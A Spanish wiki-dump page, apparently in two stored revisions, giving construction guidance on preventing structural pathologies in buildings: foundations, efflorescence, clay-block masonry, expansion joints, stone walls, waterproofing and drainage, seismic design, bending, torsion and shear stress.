o   Evitar retracciones del hormigón que provoquen empujes del forjado a la fábrica, empleando para ello las dosificaciones correctas (ver ficha nº 45 de retracciones del hormigón), así como un correcto fraguado, y evitando un exceso de finos en el árido o un exceso de cemento.

o  Ejecución adecuada de la fábrica: tendeles con espesor uniforme (1-1,5 cm.), empleo de morteros mixtos y humedecer las piezas antes de su colocación. 

o  Dejar transcurrir un tiempo entre la terminación del muro hasta el hormigonado del forjado. 

o  Disponer forjados de rigidez suficiente, para lo cual se deberá dimensionar el mismo con un canto adecuado y suficiente para soportar las cargas a las que esté sometido evitando una deformación excesiva y el giro del forjado en el apoyo (que ocasionaría la fisura horizontal a nivel de la cara inferior del forjado). 

o  Ejecutar zunchos de hormigón correctamente armados que apoyen de forma adecuada en el muro.

o  En los bloques del muro de coronación se debería colocar una lámina plástica para que no penetre el hormigón en las perforaciones o utilizar la pieza dintel, que tiene forma de L.

o En los muros de cerramiento se deberá dejar una holgura de 2 cm. rellena con material elástico y resistente al fuego.

• Dinteles:

o  Deberán considerarse longitudes de apoyo adecuadas, sin ser excesivas, de forma que evite concentraciones de carga importantes en las jambas. Hasta luces de 1,5 m el dintel apoyará 1/5 de L a cada lado, mínimo 15 cm. en cerramientos y 30 cm. en muros de carga. Para luces &gt; 1,5 m el apoyo se deberá comprobar mediante cálculo

o  Cargaderos con armadura y canto suficientes.

o  El revestimiento sobre los dinteles se armará con malla de fibra de vidrio, prolongándola al menos 20 cm. por encima del final del dintel y con un goterón en su cara inferior.

o  Las zonas donde se prevean concentraciones de carga se reforzarán mediante armaduras de tendel.

• Muros con distinta carga o sección, cargados heterogéneamente, con diferentes materiales:

o Cuando se produzcan cambios de sección en un mismo paño, realizar una junta de movimiento vertical en ese punto y reforzar la zona de encuentro mediante armadura en los tendeles.

o Si se emplean materiales diferentes, en la zona de contacto de uno con otro debería realizarse una junta vertical entre ambos tramos.

o En zonas donde se concentran las cargas, se deberá reforzar la misma mediante armadura en el tendel (dinteles y antepechos, en la formación de huecos, cargas concentradas, etc.).


Bibliografía:
“Curso de formación para colocadores de bloque de Termoarcilla®”
“Manual para el uso del bloque Termoacilla”.


=== 4.-. Efecto de la temperatura. ===


Tanto en proyecto como en ejecución se deberá realizar el estudio adecuado y aplicar unas reglas de diseño para evitar los daños provocados por efecto de la temperatura. Algunas medidas serían:

- Juntas de dilatación o de contracción que absorban los movimientos originados. Se deberá tener en cuenta su disposición según superficie, dimensionado, estudio de materiales de sellado y relleno, etc.

o  En la estructura, estas juntas afectarán al edificio en su totalidad (excepto en los cimientos enterrados que no necesitan juntas de dilatación), a las distancias adecuadas y duplicándose elementos estructurales tales como pilares o empleando ménsulas cortas.
o  En los cerramientos de ladrillo las juntas deberán fraccionar paños a distancias adecuadas (12-15 m), se situarán en las esquinas (si son paños de gran longitud), en quiebros, en encuentros con otro tipo de cerramientos u otros paños de ladrillo sin traba, en prolongaciones de ventanas alargadas... Se realizarán también juntas horizontales en el encuentro entre fábrica y forjado.

o  En los muros de sótano se realizarán cada cierta distancia (7 metros) y en puntos singulares como cambios de altura de muro, donde cambie la profundidad del plano de cimentación y en cambios de dirección de planta, teniendo en cuenta además la cuantía mínima de la armadura horizontal.

o  En solados, se realizarán subdividiendo la superficie en paños, disponiéndose además entre aquellos que no estén en un mismo plano: entre soporte, mortero y losetas, así como perimetralmente. Se dispondrán en el límite con los muros y alrededor de pilares (las juntas de contracción serán transversales y longitudinales) y se evitarán los puntos angulosos.

- Correcta ejecución de las juntas, con materiales adecuados, limpieza y en su caso, colocación de piezas especiales, impermeabilización de la misma, etc.

o El sellado será compresible e irá sobre un fondo de junta que también será elástico. El ancho de las juntas dependerá del movimiento previsto y de la compresibilidad del sellante; el espesor o profundidad de este dependerá de las características del material y del ancho de junta.

- En caso de fachadas de ladrillo, dotar a las mismas de la independencia suficiente de la estructura para permitir los movimientos de ambos elementos.

- Mantenimiento adecuado: las juntas requieren una conservación e inspección periódica para evitar su degradación y la entrada de elementos extraños. Determinados materiales empleados poseen una durabilidad determinada (por ejemplo la silicona, tiene una durabilidad aproximada de 10 años), con lo que habrá que sustituirlo al cabo de ese tiempo.


=== 5.-. Muros de piedra ===


La prevención en muros de piedra será antes que la intervención si bien es cierto que generalmente no es posible la eliminación de los factores externos que atacan la piedra (agua, contaminación ambiental...) por lo que habrá que intentar paliar sus efectos. Se debe realizar una conservación adecuada, lo cual es fundamental, para evitar la acción negativa de los factores climatológicos y medioambientales.
Algunas actuaciones a tener en cuenta en el proceso de proyección, intervención o mantenimiento serían:

- La piedra es porosa por lo que se ha de prever una impermeabilización de la misma contra las manchas de agua o grasa mediante la creación de una película protectora y duradera sobre su superficie que repela aquellos elementos que entren en contacto con la misma de manera accidental.

- Las piedras deberán cumplir las siguientes condiciones:

o compactadas, homogéneas y tenaces siendo preferibles las de grano fino

o carecerán de grietas o pelos, coqueras, restos orgánicos, nódulos o riñones, blandones, gabarros y no deberán estar atronadas por causa de los explosivos empleados en su extracción

o deberán tener la resistencia adecuada a las cargas permanentes o accidentales que sobre ellas hayan de actuar. En casos especiales podrán exigirse determinadas condiciones de resistencia a la percusión o al desgaste por razonamiento

o no ser absorbentes ni permeables, no debiendo pasar la cantidad de agua absorbida del cuatro y medio por ciento (4,5%) de su volumen

o no ser heladizas, resistiendo bien la acción de los agentes atmosféricos, deberá reunir las condiciones de labra en relación con su clase y destino, debiendo en general ser de fácil trabajo, incluyendo en éste el desbaste, labras lisa y moldeado.
o presentarán buenas condiciones de adherencia para los morteros

o poder resistir sin estallar a la acción del fuego...


=== 6.-. Filtración de agua ===


La prevención de la filtración de agua se tratará desde dos frentes distintos:

· Ejecución de un drenaje.
· Impermeabilización de la superficie del muro.

Sistemas de impermeabilización

Proteger los muros por su cara exterior (en contacto con el terreno), es la forma más eficaz, desde el punto de vista de la durabilidad de sus componentes, pero es condición indispensable que su cara exterior sea accesible durante la ejecución. La impermeabilización se consigue mediante la aplicación de membranas.

Dentro de estos sistemas debemos distinguir diferentes soluciones:

·  Por su constitución:
· Laminas, paneles o placas prefabricadas.
· Membranas hechas in situ.

·  Por su naturaleza química
· Bituminosas (LO y LBM-SBS o APP).
· De materiales plásticos (PVC, PEC, HDPE, etc.)
· De cauchos sintéticos (Butilo, EPDM, etc.)
· Minerales, inorgánicos (Bentonitas expansivas)

Todas ellas podrán ir bien adheridas al soporte, adheridas y fijadas mecánicamente o flotantes con fijaciones mecánicas.

Sistemas de drenaje

Su funcionamiento consiste en la captación de agua contenida en el terreno, a través del material filtrante, para canalizarla y evacuarla antes de que llegue a estar en contacto directo con los muros. El drenaje estará compuesto por un tubo perforado para la captación de agua que recogerá y canalizará la misma hasta la red de saneamiento. Este suele estar rodeado por un filtro geotextil para retener la entrada de finos, y sobre este, se rellena la zanja perimetral con material granular no seleccionado y permeable, sellando finalmente con una capa de arcillas que oscile entre 10-15 cms. El tubo dren deberá tener pendiente constante y los cambios de dirección se resolverán con arquetas algunas de las cuales deberán de ser registrables.


=== 7.-. Acciones sísmicas ===


Prevención por acciones sísmicas:  Hay que tener en cuenta los condicionantes de carácter general:

1.   Plantear tipologías edificatorias adecuadas, en función de la zona sísmica en la que se va a construir, valorando aspectos como: altura, edificios colindantes, distribución de masas, simetría, continuidad de la estructura, etc.

Utilizar sistemas estructurales adecuados para las zonas sísmicas, evitando errores de diseño.
a.  – Emplear materiales de construcción adecuados, tales como aceros de alta ductilidad y hormigones de buena calidad, y una correcta puesta en obra.
b.  – Soluciones adecuadas de encuentros y uniones para el sistema estructural.

Son recomendables seguir las siguientes reglas de diseño y prescripciones constructivas:

- Evitar construir en laderas con tendencias a deslizamientos
- En caso de construir en ladera, evitar la coexistencia en una misma unidad estructural de sistemas de cimentación superficiales y profundos.
- Cimentar sobre un terreno de características geotécnicas homogéneas. De presentar discontinuidades, se dispondría de juntas que independizaran unas partes de otras.
- Emplear estructuras flexibles en suelos firmes y estructuras rígidas en suelo blando.
- Según se desprende del cálculo de cargas sísmicas horizontales, de NTE-ECS, para un mismo tipo de terreno dicha carga sísmica varía en función del ripo de cimentación. Según esto, el orden de adecuación ante sismo de los sistemas de cimentación sería: losa continua, pilotes resistentes a punta, pilotes por fuste, zapatas corridas y, en último caso, zapatas aisladas.
- Antes de construir, es conveniente saber si se puede producir la licuefacción del terreno sobre el que se va a apoyar el edificio; debiendo tomarse las medidas oportunas ante suelos susceptibles de licuefacción o bien evitar la cimentación superficial (en caso de ser una capa de tierra pequeña se puede sustituir o tomar como base de cimentación una amplia losa muy rígida que reduzca los daños en caso de producirse el fallo). En concreto no se considerará la resistencia de fuste de pilotes en la zona de éstos colindantes con estratos susceptibles de licuarse durante un sismo, por tanto las puntas de los pilotes deberán profundizar por debajo de las capas licuables.
- Debe garantizarse el atado en dos direcciones de los elementos de cimentación.
- Recomendaciones específicas para cimentaciones con pilotes, según NCSE-02 art. 4.3.3
- En las zonas de alto riesgo sísmico, se debe reforzar mediante perfiles metálicos o cualquier otro sistema que le proporcione la ductilidad necesaria las chimeneas, para que no se produzca su caída al suelo.
- Los sistemas de forjado de hormigón colocado in situ, constituyen diagramas horizontales suficientemente rígidos para transmitir los efectos sísmicos a los comportamientos tanto bajo fuerzas laterales debidas al sismo como bajo efecto de hundimientos diferenciales en zonas de terreno compresible.
- En algunos casos, aunque el sistema de forjado sea prefabricado suele colocarse sobre él un firme, en ocasiones reforzado con malla de acero, que ayuda a formar el diagrama. La gran densidad de muros, continuos en toda la altura, suele aportar la rigidez suficiente para movimientos en dirección horizontal.
- Intentar introducir la rigidez adicional en el plano de fachada a las estructuras en las que se emplean elementos flexibles de perfiles de acero, para lo cual será necesario que los anclajes entre el marco y el panel sean los adecuados, de no ser así este último saltaría.
- Es fundamental lograr la transmisión de fuerzas entre cerramientos y las vigas y pilares que conforman el pórtico. La fábrica de adobe no se debe considerar como portante para solicitaciones del tipo sísmico.
- Uno de los aspectos del diseño constructivo más importantes a tener en cuenta para las fábricas son la traba, los encadenados, las armaduras y la vinculación entre muros. Junto con la calidad del material debe acompañarse la calidad del mortero de asiento. Las resistencias tanto a tracción como a compresión del mortero de asiento deben ser compatibles con los ladrillos o bloques para lograr así una relativa homogeneización del elemento estructural completo.
- Ya que durante un terremoto, se originan con frecuencia incendios, se deberá proteger la estructura contra ellos, especialmente las plantas de garaje, pues un edificio que ha sido capaz de soportar un terremoto, puede quedar destruido al ser afectados los soportes por las llamas.


=== 8.-. Flexión ===


El comportamiento de las piezas sometidas a flexión depende de manera muy importante de la cuantía mecánica de la armadura de tracción, se ha de tener en cuenta siempre en las fases de diseño y cálculo y en la ejecución. En general, se deberá prestar atención a los cálculos y cuidarse la ejecución según el proyecto, evitando errores que puedan suponer daños en nuestra estructura. Durante la ejecución se deberá tener en consideración:

- tiempos de desencofrado / descimbrado correctos
- tiempos de curado adecuados
- mantener el orden apropiado en la retirada de los puntales y encofrados
- que las sobrecargas de obra (acopio de material...) no superen las cargas consideradas para el cálculo.


=== 9.-. Momento torsor ===


El momento torsor que origina un voladizo en una viga debe ser soportado por el hormigón, la armadura longitudinal del perímetro y los cercos (que deben estar soldados o con una mayor longitud de anclaje).

Algunas consideraciones a tener en cuenta son:

- Cercos totalmente cerrados por soldadura, no deben soldarse a la armadura longitudinal ya que puede dar problemas de fragilización de la armadura si no es apta para el soldeo.

- Los cercos o estribos de acero para la torsión tienen que ser calculados de manera independiente a los de cortantes, dado que sus áreas son sumatorias.

- Si se quiere evitar la soldadura en los cercos, se pueden construir de dos vueltas.

- En edificios de altura la acción eólica puede provocar la aparición de este esfuerzo, siendo mayor el torsor en las plantas más altas por ser mayor la fuerza del viento, por lo que se deberá tener en cuenta la posible acción de este esfuerzo en los pilares perimetrales.

En el caso de elementos prefabricados, algunas consideraciones a tener en cuenta para los torsores en vigas son:

- No es preciso considerar el torsor de una viga si existe un elemento perpendicular que pueda soportar como flector (de empotramiento) el torsor que no consideramos en la viga.

Esto supone una unión rígida a flexión entre viga y forjado; si no existe, los torsores son de equilibrio y, si la viga a su vez está apoyada en el pilar, volcará por esta causa y si no lo hace es por que puede soportar el torsor reacción, descentrando la reacción en el ancho de su apoyo.

Bibliografía:
“Diagnosis y causas de patología en la edificación”. Manuel Muñoz Hidalgo.
“Prevención y soluciones en patología estructural de la edificación”. Manuel Muñoz Hidalgo.


=== 10.-. Esfuerzo rasante ===


Prevención a elementos estructurales por esfuerzo rasante.
Garantizar un comportamiento adecuado de los forjados parcialmente prefabricados, en el que aparecen viguetas prefabricadas junto a hormigones es conseguir que la conexión entre la pieza prefabricada y el hormigón “in situ” sea capaz de transferir las tensiones rasantes derivadas del trabajo conjunto de la sección.
En el caso de forjados con viguetas pretensadas, ya que éstas no suelen ir provistas de elementos de enlace (celosías) que colaboran en la transmisión de rasante, deberá confiarse esta transmisión a las condiciones de la superficie de contacto entre los dos hormigones. Las tensiones que pueda transmitir la junta dependerán de las condiciones de ejecución del forjado (limpieza y humedad de la superficie de contacto previamente al hormigonado, compactación del hormigón, etc.) así como de las características superficiales del elemento prefabricado.

Según la EFHE tanto en forjados con viguetas armadas o pretensadas, como forjados de losas alveolares pretensadas con losa superior hormigonada en obra debe verificarse la tensión rasante que solicita la junta entre el elemento prefabricado y el hormigón vertido en obra (cumpliendo con la normativa, EHE).

Las tensiones rasantes van a depender de la rugosidad de la pieza prefabricada, de la resistencia más débil de los dos hormigones y de la cantidad y posición de la armadura transversal, para ellos los fabricantes de viguetas comprueban los esfuerzos rasantes dando a los fabricados la superficie lateral (se debe controlar la rugosidad alcanzada en el hormigón prefabricado) y la armadura transversal necesarias para evitar el fallo en este sentido. 

Deberá controlarse la recepción de las piezas prefabricadas, para que las superficies en contacto estén libres de polvo y suciedad, y el estado de saturación de las superficies de contacto. 

Para juntas de hormigones vertidos en dos fases, la clasificación de la superficie se aplica a la superficie sobre la que se vierte el hormigón de segunda fase.

En el caso de los forjados de chapa colaborante la resistencia a esfuerzo rasante va a depender de los conectores o pernos de anclaje: número, separación, etc.

Para evitar las roturas de los muros de carga de fábrica de ladrillo por esfuerzo rasante es necesaria una buena adherencia entre piezas y mortero así como la aplicación de cargas verticales que aumenten el rozamiento y por tanto dificulten el deslizamiento horizontal.


Bibliografía:
Instrucción para el proyecto y ejecución de forjados unidireccionales de hormigón estructural realizados con elementos prefabricados. EFHE.
“Cálculo, construcción, patología y rehabilitación de forjados de edificación”. J. Calavera.
“Diagnosis y causas en patologías de la edificación ”. Manuel Muñoz Hidalgo.
Artículo Forjados (Internet). Luis Vega Catalán.
Master en Estructuras de la Edificación. Curso de Especialidad en Estructuras hormigón armado y Curso de Especialidad en Cálculo Estructural.


===Bibliografía General===

“Prevención y soluciones en patología estructural de la edificación”. Manuel Muñoz Hidalgo.
“El muro de ladrillo”. Fombella R.  Hispalyt 1992.
“Eflorescencias”. García Verduch, A.  Arcilla cocida nº11, Marzo 1981.
“Guía para el estudios de velos y eflorescencias en ladrillos de construcción”. García Verduch, A.  Instituto Universitario de Tecnología Cerámica de Castellón, 1988.
“Curso de formación para colocadores de bloque de Termoarcilla®”
“Manual para el uso del bloque Termoacilla”.
“Diagnosis y causas de patología en la edificación”. Manuel Muñoz Hidalgo.
“Prevención y soluciones en patología estructural de la edificación”. Manuel Muñoz Hidalgo.
“Industrialización y prefabricación de elementos resistentes de hormigón”. CEMCO.
“Curso de especialidad en cálculo estructural”. UPM.
“Evaluación de la capacidad resistente de estructuras de hormigón y métodos de rehabilitación
y refuerzo”. Curso INTEMAC.
“Los pilares: criterios para su proyecto, cálculo y reparación”.Florentino Regalado Tesoro
Instrucción para el proyecto y ejecución de forjados unidireccionales de hormigón estructural realizados con elementos prefabricados. EFHE.
“Cálculo, construcción, patología y rehabilitación de forjados de edificación”. J. Calavera.
“Diagnosis y causas en patologías de la edificación ”. Manuel Muñoz Hidalgo.
Artículo Forjados (Internet). Luis Vega Catalán.
Master en Estructuras de la Edificación. Curso de Especialidad en Estructuras hormigón armado y Curso de Especialidad en Cálculo Estructural.</text>
      <sha1>h6uvshq0r6j2od2v599oiquos0m0i81</sha1>
    </revision>
    <revision>
      <id>430146</id>
      <parentid>430145</parentid>
      <timestamp>2026-08-02T11:50:28Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430146</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="26391" sha1="lhutom3lfm3y81uzkc8jfk0sp3sp6q0" xml:space="preserve">

== 1.-.Elementos Estructurales ==

Para evitar las patologías en los elementos estructurales, además de estar bien calculada la estructura ha de estar bien diseñada y evitar posibles errores de ejecución. Una elección adecuada del tipo de estructura y cimentación y un correcto planteamiento reduce la aparición de los daños.

Algunas consideraciones a tener en cuenta tanto en la fase del proyecto como en la fase de ejecución serían:

Evitar la coexistencia de diferentes tipologías de cimentación o el apoyo de la misma en diferentes estratos, para evitar asientos diferenciales que harían trabajar a determinados elementos de forma diferente para la que ha sido diseñada (ejemplo, pilar a tracción) y, como consecuencia, producir deformaciones no previstas.

Evitar los pilares apeados así como las vigas sometidas a torsión (evitar los brochales y las luces grandes de viguetas, de esta forma se evitan momentos torsores mayores en las vigas)

Evitar luces de vigas descompensadas o pilares extremos con vigas de grandes luces, ya que las primeras originas fuerte momentos en los segundos.

Tender a la uniformidad y homogeneidad de distribución estructural.

Para evitar la aparición de fisuras por acumulación de cargas en los voladizos inferiores con cerramientos se deberán construir estos de arriba abajo y calcular el primer voladizo con mayor carga y rigidez, para prevenir la que le puedan transmitir los voladizos superiores.

En voladizos durante la ejecución del encofrado hay que tener en cuenta la contraflecha y retirar los puntales pasados 28 días, para evitar flechas instantáneas y diferidas mayores.

Se deberá comprobar a esfuerzo cortante en las cabezas de las viguetas, sobre todo si no tienen armadura transversal, ya que si supera la resistencia del hormigón y no la de los coeficientes de seguridad se podría producir su hundimiento al someterse a una determinada sobrecarga. Para reforzar un forjado a cortante se macizará la zona de bovedillas adyacentes a las vigas, con hormigón.

Los cercos o estribos de acero para la torsión deberán calcularse independientemente a los de cortante. Si una viga necesita cercos soldados para absorber la torsión y se quiere evitar la soldadura, se pueden duplicar ramas.


Bibliografía:
“Prevención y soluciones en patología estructural de la edificación”. Manuel Muñoz Hidalgo.


== 2.-. Eflorescencias ==
 

Para reducir el fenómeno de las eflorescencias existen las siguientes recomendaciones:

Utilizar ladrillos calificados, según la norma de ensayo, como no eflorecidos o ligeramente eflorecidos.

Impedir el contacto directo del ladrillo con el terreno en las zonas de acopio, para evitar su contaminación con las sales solubles del suelo.

-    Se ha de evitar que la obra sea contaminada por sales solubles que provienen de suelos “contaminados” (productos industriales, con escombros o residuos orgánicos o inorgánicos).

-   Hay que impedir que en la obra se produzcan filtraciones de agua que mojen la fábrica por diferentes zonas a las normalmente expuestas. Si las eflorescencias no desaparecen durante los 2-3 primeros años y las manchas localizadas no llegan a desaparecer es posible que se esté dando esta situación. Es muy importante, pues, la correcta ejecución de los detalles constructivos, para evitar la entrada de agua.

-   En las eflorescencias del tipo I, para evitar la reacción ladrillo-mortero se deberían usar morteros bastardos (cemento-cal-arena), evitar la succión del agua y las sales del mortero mediante el mojado previo de la pieza y en caso de lluvias abundantes proteger la fábrica que esté recientemente ejecutada. Para evitar la absorción de sales del suelo, se han de colocar correctas barreras antihumedad (láminas impermeables, corte capilar, etc.).

-   Durante la ejecución de la obra hay que intentar que los ladrillos no se mojen demasiado.

-   En época de lluvias fuertes hay que cubrir la obra no terminada y el acopio de ladrillos a pie de obra.

Mediante el ensayo descrito en la norma UNE 67029:1995 EX se puede determinar la eflorescencia en los ladrillos (que para los ladrillos “cara vista” adquiere una mayor importancia):

Muchos de los factores causantes de la eflorescencia son ajenos al propio ladrillo, aunque por ser en este material donde aparecen las manchas, existe una tendencia generalizada a hacerle responsable del problema.


Bibliografía:
“El muro de ladrillo”. Fombella R.  Hispalyt 1992.
“Eflorescencias”. García Verduch, A.  Arcilla cocida nº11, Marzo 1981.
“Guía para el estudios de velos y eflorescencias en ladrillos de construcción”.


===  Fábricas de bloque cerámico de arcilla aligerada. ===


Una correcta ejecución de la fábrica así como la consideración de los parámetros adecuados en la fase de proyecto son esenciales para evitar la aparición de daños en fábricas de bloque cerámico de arcilla aligerada, debiendo emplearse las piezas especiales y seguir las recomendaciones del fabricante en el proceso de puesta en obra.

Para evitar la aparición de fisuras en los puntos que hemos indicado en el apartado anterior, que son más susceptibles de ser afectados, deberían tomarse algunas medidas como las relacionadas a continuación:

• Unión muro – forjado:

o   Evitar retracciones del hormigón que provoquen empujes del forjado a la fábrica, empleando para ello las dosificaciones correctas (ver ficha nº 45 de retracciones del hormigón), así como un correcto fraguado, y evitando un exceso de finos en el árido o un exceso de cemento.

o  Ejecución adecuada de la fábrica: tendeles con espesor uniforme (1-1,5 cm.), empleo de morteros mixtos y humedecer las piezas antes de su colocación. 

o  Dejar transcurrir un tiempo entre la terminación del muro hasta el hormigonado del forjado. 

o  Disponer forjados de rigidez suficiente, para lo cual se deberá dimensionar el mismo con un canto adecuado y suficiente para soportar las cargas a las que esté sometido evitando una deformación excesiva y el giro del forjado en el apoyo (que ocasionaría la fisura horizontal a nivel de la cara inferior del forjado). 

o  Ejecutar zunchos de hormigón correctamente armados que apoyen de forma adecuada en el muro.

o  En los bloques del muro de coronación se debería colocar una lámina plástica para que no penetre el hormigón en las perforaciones o utilizar la pieza dintel, que tiene forma de L.

o En los muros de cerramiento se deberá dejar una holgura de 2 cm. rellena con material elástico y resistente al fuego.

• Dinteles:

o  Deberán considerarse longitudes de apoyo adecuadas, sin ser excesivas, de forma que evite concentraciones de carga importantes en las jambas. Hasta luces de 1,5 m el dintel apoyará 1/5 de L a cada lado, mínimo 15 cm. en cerramientos y 30 cm. en muros de carga. Para luces &gt; 1,5 m el apoyo se deberá comprobar mediante cálculo

o  Cargaderos con armadura y canto suficientes.

o  El revestimiento sobre los dinteles se armará con malla de fibra de vidrio, prolongándola al menos 20 cm. por encima del final del dintel y con un goterón en su cara inferior.

o  Las zonas donde se prevean concentraciones de carga se reforzarán mediante armaduras de tendel.

• Muros con distinta carga o sección, cargados heterogéneamente, con diferentes materiales:

o Cuando se produzcan cambios de sección en un mismo paño, realizar una junta de movimiento vertical en ese punto y reforzar la zona de encuentro mediante armadura en los tendeles.

o Si se emplean materiales diferentes, en la zona de contacto de uno con otro debería realizarse una junta vertical entre ambos tramos.

o En zonas donde se concentran las cargas, se deberá reforzar la misma mediante armadura en el tendel (dinteles y antepechos, en la formación de huecos, cargas concentradas, etc.).


Bibliografía:
“Curso de formación para colocadores de bloque de Termoarcilla®”
“Manual para el uso del bloque Termoacilla”.


=== 4.-. Efecto de la temperatura. ===


Tanto en proyecto como en ejecución se deberá realizar el estudio adecuado y aplicar unas reglas de diseño para evitar los daños provocados por efecto de la temperatura. Algunas medidas serían:

- Juntas de dilatación o de contracción que absorban los movimientos originados. Se deberá tener en cuenta su disposición según superficie, dimensionado, estudio de materiales de sellado y relleno, etc.

o  En la estructura, estas juntas afectarán al edificio en su totalidad (excepto en los cimientos enterrados que no necesitan juntas de dilatación), a las distancias adecuadas y duplicándose elementos estructurales tales como pilares o empleando ménsulas cortas.
o  En los cerramientos de ladrillo las juntas deberán fraccionar paños a distancias adecuadas (12-15 m), se situarán en las esquinas (si son paños de gran longitud), en quiebros, en encuentros con otro tipo de cerramientos u otros paños de ladrillo sin traba, en prolongaciones de ventanas alargadas... Se realizarán también juntas horizontales en el encuentro entre fábrica y forjado.

o  En los muros de sótano se realizarán cada cierta distancia (7 metros) y en puntos singulares como cambios de altura de muro, donde cambie la profundidad del plano de cimentación y en cambios de dirección de planta, teniendo en cuenta además la cuantía mínima de la armadura horizontal.

o  En solados, se realizarán subdividiendo la superficie en paños, disponiéndose además entre aquellos que no estén en un mismo plano: entre soporte, mortero y losetas, así como perimetralmente. Se dispondrán en el límite con los muros y alrededor de pilares (las juntas de contracción serán transversales y longitudinales) y se evitarán los puntos angulosos.

- Correcta ejecución de las juntas, con materiales adecuados, limpieza y en su caso, colocación de piezas especiales, impermeabilización de la misma, etc.

o El sellado será compresible e irá sobre un fondo de junta que también será elástico. El ancho de las juntas dependerá del movimiento previsto y de la compresibilidad del sellante; el espesor o profundidad de este dependerá de las características del material y del ancho de junta.

- En caso de fachadas de ladrillo, dotar a las mismas de la independencia suficiente de la estructura para permitir los movimientos de ambos elementos.

- Mantenimiento adecuado: las juntas requieren una conservación e inspección periódica para evitar su degradación y la entrada de elementos extraños. Determinados materiales empleados poseen una durabilidad determinada (por ejemplo la silicona, tiene una durabilidad aproximada de 10 años), con lo que habrá que sustituirlo al cabo de ese tiempo.


=== 5.-. Muros de piedra ===


La prevención en muros de piedra será antes que la intervención si bien es cierto que generalmente no es posible la eliminación de los factores externos que atacan la piedra (agua, contaminación ambiental...) por lo que habrá que intentar paliar sus efectos. Se debe realizar una conservación adecuada, lo cual es fundamental, para evitar la acción negativa de los factores climatológicos y medioambientales.
Algunas actuaciones a tener en cuenta en el proceso de proyección, intervención o mantenimiento serían:

- La piedra es porosa por lo que se ha de prever una impermeabilización de la misma contra las manchas de agua o grasa mediante la creación de una película protectora y duradera sobre su superficie que repela aquellos elementos que entren en contacto con la misma de manera accidental.

- Las piedras deberán cumplir las siguientes condiciones:

o compactadas, homogéneas y tenaces siendo preferibles las de grano fino

o carecerán de grietas o pelos, coqueras, restos orgánicos, nódulos o riñones, blandones, gabarros y no deberán estar atronadas por causa de los explosivos empleados en su extracción

o deberán tener la resistencia adecuada a las cargas permanentes o accidentales que sobre ellas hayan de actuar. En casos especiales podrán exigirse determinadas condiciones de resistencia a la percusión o al desgaste por razonamiento

o no ser absorbentes ni permeables, no debiendo pasar la cantidad de agua absorbida del cuatro y medio por ciento (4,5%) de su volumen

o no ser heladizas, resistiendo bien la acción de los agentes atmosféricos, deberá reunir las condiciones de labra en relación con su clase y destino, debiendo en general ser de fácil trabajo, incluyendo en éste el desbaste, labras lisa y moldeado.
o presentarán buenas condiciones de adherencia para los morteros

o poder resistir sin estallar a la acción del fuego...


=== 6.-. Filtración de agua ===


La prevención de la filtración de agua se tratará desde dos frentes distintos:

· Ejecución de un drenaje.
· Impermeabilización de la superficie del muro.

Sistemas de impermeabilización

Proteger los muros por su cara exterior (en contacto con el terreno), es la forma más eficaz, desde el punto de vista de la durabilidad de sus componentes, pero es condición indispensable que su cara exterior sea accesible durante la ejecución. La impermeabilización se consigue mediante la aplicación de membranas.

Dentro de estos sistemas debemos distinguir diferentes soluciones:

·  Por su constitución:
· Laminas, paneles o placas prefabricadas.
· Membranas hechas in situ.

·  Por su naturaleza química
· Bituminosas (LO y LBM-SBS o APP).
· De materiales plásticos (PVC, PEC, HDPE, etc.)
· De cauchos sintéticos (Butilo, EPDM, etc.)
· Minerales, inorgánicos (Bentonitas expansivas)

Todas ellas podrán ir bien adheridas al soporte, adheridas y fijadas mecánicamente o flotantes con fijaciones mecánicas.

Sistemas de drenaje

Su funcionamiento consiste en la captación de agua contenida en el terreno, a través del material filtrante, para canalizarla y evacuarla antes de que llegue a estar en contacto directo con los muros. El drenaje estará compuesto por un tubo perforado para la captación de agua que recogerá y canalizará la misma hasta la red de saneamiento. Este suele estar rodeado por un filtro geotextil para retener la entrada de finos, y sobre este, se rellena la zanja perimetral con material granular no seleccionado y permeable, sellando finalmente con una capa de arcillas que oscile entre 10-15 cms. El tubo dren deberá tener pendiente constante y los cambios de dirección se resolverán con arquetas algunas de las cuales deberán de ser registrables.


=== 7.-. Acciones sísmicas ===


Prevención por acciones sísmicas:  Hay que tener en cuenta los condicionantes de carácter general:

1.   Plantear tipologías edificatorias adecuadas, en función de la zona sísmica en la que se va a construir, valorando aspectos como: altura, edificios colindantes, distribución de masas, simetría, continuidad de la estructura, etc.

Utilizar sistemas estructurales adecuados para las zonas sísmicas, evitando errores de diseño.
a.  – Emplear materiales de construcción adecuados, tales como aceros de alta ductilidad y hormigones de buena calidad, y una correcta puesta en obra.
b.  – Soluciones adecuadas de encuentros y uniones para el sistema estructural.

Son recomendables seguir las siguientes reglas de diseño y prescripciones constructivas:

- Evitar construir en laderas con tendencias a deslizamientos
- En caso de construir en ladera, evitar la coexistencia en una misma unidad estructural de sistemas de cimentación superficiales y profundos.
- Cimentar sobre un terreno de características geotécnicas homogéneas. De presentar discontinuidades, se dispondría de juntas que independizaran unas partes de otras.
- Emplear estructuras flexibles en suelos firmes y estructuras rígidas en suelo blando.
- Según se desprende del cálculo de cargas sísmicas horizontales, de NTE-ECS, para un mismo tipo de terreno dicha carga sísmica varía en función del ripo de cimentación. Según esto, el orden de adecuación ante sismo de los sistemas de cimentación sería: losa continua, pilotes resistentes a punta, pilotes por fuste, zapatas corridas y, en último caso, zapatas aisladas.
- Antes de construir, es conveniente saber si se puede producir la licuefacción del terreno sobre el que se va a apoyar el edificio; debiendo tomarse las medidas oportunas ante suelos susceptibles de licuefacción o bien evitar la cimentación superficial (en caso de ser una capa de tierra pequeña se puede sustituir o tomar como base de cimentación una amplia losa muy rígida que reduzca los daños en caso de producirse el fallo). En concreto no se considerará la resistencia de fuste de pilotes en la zona de éstos colindantes con estratos susceptibles de licuarse durante un sismo, por tanto las puntas de los pilotes deberán profundizar por debajo de las capas licuables.
- Debe garantizarse el atado en dos direcciones de los elementos de cimentación.
- Recomendaciones específicas para cimentaciones con pilotes, según NCSE-02 art. 4.3.3
- En las zonas de alto riesgo sísmico, se debe reforzar mediante perfiles metálicos o cualquier otro sistema que le proporcione la ductilidad necesaria las chimeneas, para que no se produzca su caída al suelo.
